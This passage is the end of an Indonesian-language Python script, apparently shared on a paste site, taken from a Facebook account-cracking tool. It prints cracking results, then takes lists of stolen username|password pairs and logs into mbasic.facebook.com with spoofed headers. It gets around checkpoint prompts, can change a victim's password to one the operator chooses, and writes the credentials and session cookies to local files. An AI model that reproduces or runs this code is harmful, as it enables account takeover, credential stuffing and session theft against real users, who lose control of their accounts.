  1346.             elif "c_user" in ses.cookies.get_dict().keys():
  1347.                 print('\r%s++++ %s|%s ----> OK       %s'%(h,id,pw,x))
  1348.             else:
  1349.                 print('\r%s++++ %s|%s ----> SALAH       %s'%(x,id,pw,x))
  1350.             love+=1
  1351.         except requests.exceptions.ConnectionError:
  1352.             print('')
  1353.             li = '# KONEKSI INTERNET BERMASALAH, PERIKSA & COBA LAGI'
  1354.             sol().print(mark(li, style='red'))
  1355.             exit()
  1356.     dah = '# DONE'
  1357.     sol().print(mark(dah, style='green'))
  1358.     exit()
  1359.        
  1360. #-----------------------[ CEK TAPYES ]--------------------#
  1361. import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
  1362. import hmac, hashlib, urllib, stdiomask, urllib.request, uuid
  1363. from concurrent.futures import ThreadPoolExecutor
  1364. from bs4 import BeautifulSoup as parser
  1365. from threading import (Thread, Event)
  1366. from time import sleep as jeda
  1367. from datetime import datetime
  1368.  
  1369. ct = datetime.now()
  1370. n = ct.month
  1371. bulan_ = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
  1372. try:
  1373.     if n < 0 or n > 12:
  1374.         exit()
  1375.     nTemp = n - 1
  1376. except ValueError:
  1377.     exit()
  1378.  
  1379. current = datetime.now()
  1380. hari = current.day
  1381. bulan = bulan_[nTemp]
  1382. tahun = current.year
  1383. bullan = current.month
  1384.  
  1385. waktu = ("%s-%s-%s"%(hari,bulan,tahun))
  1386. bulan12 = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  1387.  
  1388. M = '\x1b[1;91m' # MERAH
  1389. H = '\x1b[1;92m' # HIJAU
  1390. K = '\x1b[1;93m' # KUNING
  1391. B = '\x1b[1;94m' # BIRU
  1392. U = '\x1b[1;95m' # UNGU
  1393. O = '\x1b[1;96m' # BIRU MUDA
  1394. P = '\x1b[1;97m' # PUTIH
  1395. J = '\033[38;2;255;127;0;1m' # ORANGE
  1396. N = '\x1b[0m' # WARNA MATI
  1397. acak = [M, H, K, B, U, O, P, J]
  1398. warna = random.choice(acak)
  1399. til ="\033[0m╰─ "
  1400.  
  1401. def jalan(keliling):
  1402.     for mau in keliling + '\n':
  1403.         sys.stdout.write(mau)
  1404.         sys.stdout.flush();jeda(0.03)
  1405.        
  1406.        
  1407. ubah_pass = []
  1408. pwbaru = []
  1409. pwBaru = []
  1410. ubahP = []
  1411.  
  1412. def tapyes():
  1413.     dirs = os.listdir('CP')
  1414.     cetak(nel(f"[bold white]INGAT TIDAK SEMUA CP TAPYES YA, HANYA HOKI, STAY HALAL SEDIAKAN ROKOK DAN KOPI 🚬☕    ",width=70,title=f"[bold yellow] CEK TAPYES",style=f"bold white"))   
  1415.     print ("%s%s%s%s◕➤ \033[0m[!] Pilih Hasil Yg Tersimpan Di Cek Opsi [!]%s\n"%(U,til,O,U,O))
  1416.     for file in dirs:
  1417.         print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
  1418.     try:
  1419.         print("\n%s%s%s◕➤ \033[0m Masukan file [ cth%s: %sCP-%s.txt%s ]"%(U,til,O,M,K,waktu,O))
  1420.         opsi()
  1421.     except IOError:
  1422.         print ('%s%s◕➤  \033[0mfile tidak ada'%(M,til))
  1423.         exit()
  1424.        
  1425. def opsi():
  1426.     CP = ("CP/")
  1427.     romi = input("%s%s%s◕➤  \033[0mNama file %s> %s"%(U,til,O,M,K))
  1428.     if romi == "":
  1429.         print("%s%s◕➤  \033[0misi yang benar "%(M,til));jeda(2)
  1430.         opsi()
  1431.     try:
  1432.         file_cp = open(CP+romi, "r").readlines()
  1433.     except IOError:
  1434.         exit("\n%s%s◕➤  \033[0mnama file %s\033[0m tidak tersedia"%(M,til,romi))
  1435.     jalan("%s%s%s◕➤ \033[0m Mode pesawatkan terlebih dahulu 5 detik "%(U,til,O))
  1436.     pw=input("\n%s%s%s◕➤ \033[0mubah sandi pada akun one tab? y/t %s> %s"%(U,til,O,M,K))
  1437.     if pw in['y','Y']:
  1438.         ubah_pass.append("ubah_sandi")
  1439.         pw2 = input("%s%s%s◕➤ \033[0mmasukan sandi %s> %s"%(U,til,O,M,K))
  1440.         if len(pw2) <= 5:
  1441.             print("%s%s sandi minimal 6 karakter "%(M,til))
  1442.         else:
  1443.             pwbaru.append(pw2)
  1444.     print("\n %s# %s====================== %s#"%(P,M,P));jeda(2)
  1445.     print ("%s%s%s\033[0m total akun %s: %s%s "%(U,til,O,M,K,str(len(file_cp))))
  1446.     print(" %s# %s====================== %s#"%(P,M,P));jeda(2)
  1447.     nomor = 0
  1448.     for fb in file_cp:
  1449.         akun = fb.replace("\n","")
  1450.         ngecek  = akun.split("|")
  1451.         nomor+=1
  1452.         print("\n%s%s.%s \033[0mlogin akun %s> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
  1453.         try:
  1454.             mengecek(ngecek[0].replace("",""), ngecek[1])
  1455.         except requests.exceptions.ConnectionError:
  1456.             continue
  1457.     print("\n%s%s%s \033[0mSelesai mengecek akun"%(U,til,O));jeda(0.07)
  1458.     input('%s%s%s [%s Enter%s ] '%(U,til,O,U,O))
  1459.     back()
  1460.    
  1461. data = {}
  1462. data2 = {}
  1463.  
  1464. def mengecek(user,pw):
  1465.     global loop,ubah_pass,pwbaru
  1466.     session=requests.Session()
  1467.     ua = 'Mozilla/5.0 (Linux; Android 10; 545B) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/96.0.4664.45 Mobile Safari/537.36'
  1468.     url = "https://mbasic.facebook.com"
  1469.     session.headers.update({"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
  1470.     soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
  1471.     link=soup.find("form",{"method":"post"})
  1472.     for x in soup("input"):
  1473.         data.update({x.get("name"):x.get("value")})
  1474.     data.update({"email":user,"pass":pw})
  1475.     urlPost=session.post(url+link.get("action"),data=data)
  1476.     response=bs4.BeautifulSoup(urlPost.text, "html.parser")
  1477.     if "c_user" in session.cookies.get_dict():
  1478.         if "Akun Anda Dikunci" in urlPost.text:
  1479.             print("\r%s%s\033[0m akun terkunci sesi new"%(M,til))
  1480.         else:
  1481.             print("\r%s%s\033[0m akun tidak checkpoint, silahkan anda login "%(til,H))
  1482.             open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
  1483.     elif "checkpoint" in session.cookies.get_dict():
  1484.         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1485.         title=re.findall("\<title>(.*?)<\/title>",str(response))
  1486.         link2=response.find("form",{"method":"post"})
  1487.         listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
  1488.         for x in response("input"):
  1489.             if x.get("name") in listInput:
  1490.                 data2.update({x.get("name"):x.get("value")})
  1491.         an=session.post(url+link2.get("action"),data=data2)
  1492.         response2=bs4.BeautifulSoup(an.text,"html.parser")
  1493.         cek=[cek.text for cek in response2.find_all("option")]
  1494.         number=0
  1495.         print("\r%s╰─%s \033[0mterdapat %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
  1496.         if(len(cek)==0):
  1497.             if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  1498.                 if "ubah_sandi" in ubah_pass:
  1499.                     dat,dat2={},{}
  1500.                     but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
  1501.                     for x in response("input"):
  1502.                         if x.get("name") in but:
  1503.                             dat.update({x.get("name"):x.get("value")})
  1504.                     ubahPw=session.post(url+link2.get("action"),data=dat).text
  1505.                     resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
  1506.                     link3=resUbah.find("form",{"method":"post"})
  1507.                     but2=["submit[Next]","nh","fb_dtsg","jazoest"]
  1508.                     if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
  1509.                         for b in resUbah("input"):
  1510.                             dat2.update({b.get("name"):b.get("value")})
  1511.                         dat2.update({"password_new":"".join(pwbaru)})
  1512.                         an=session.post(url+link3.get("action"),data=dat2)
  1513.                         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1514.                         print("\r%s%s\033[0makun one tab, sandi berhasil di ubah \n╰─ OK %s%s%s|%s|%s           "%(H,til,N,H,user,pwbaru[0],coki))
  1515.                         open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
  1516.                         #cek_apk(coki)
  1517.                 else:
  1518.                     print("\r%s%s \033[0makun one tab, silahkan anda login      "%(H,til))
  1519.                     open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
  1520.                     #cek_apk(coki)
  1521.             elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
  1522.                 print("\r%s╰─\033[0m akun terpasang autentikasi dua faktor          "%(M))
  1523.             else:
  1524.                 print("%s%s\033[0mterjadi kesalahan"%(M,til))
  1525.         else:
  1526.             if "c_user" in session.cookies.get_dict():
  1527.                 print("\r%s%s akun tidak checkpoint, silahkan anda login "%(H))
  1528.                 open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
  1529.         for opsi in range(len(cek)):
  1530.             number +=1
  1531.             jalan ("  %s%s. %s%s"%(P,str(number),K,cek[opsi]))
  1532.     elif "login_error" in str(response):
  1533.         oh = run.find("div",{"id":"login_error"}).find("div").text
  1534.         print("%s╰─ %s"%(M,oh))
  1535.     else:
  1536.         print("%s╰─ \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(M))
  1537.  
  1538. #-----------------------[ SYSTEM-CONTROL ]--------------------#
  1539. if __name__=='__main__':
  1540.     try:os.system('git pull')
  1541.     except:pass
  1542.     try:os.mkdir('OK')
  1543.     except:pass
  1544.     try:os.mkdir('CP')
  1545.     except:pass
  1546.     try:os.mkdir('DUMP')
  1547.     except:pass
  1548.     try:os.system('touch .prox.txt')
  1549.     except:pass
  1550.     try:os.system('clear')
  1551.     except:pass
  1552.     login()
  1553.  
Add Comment
Please, Sign In to add comment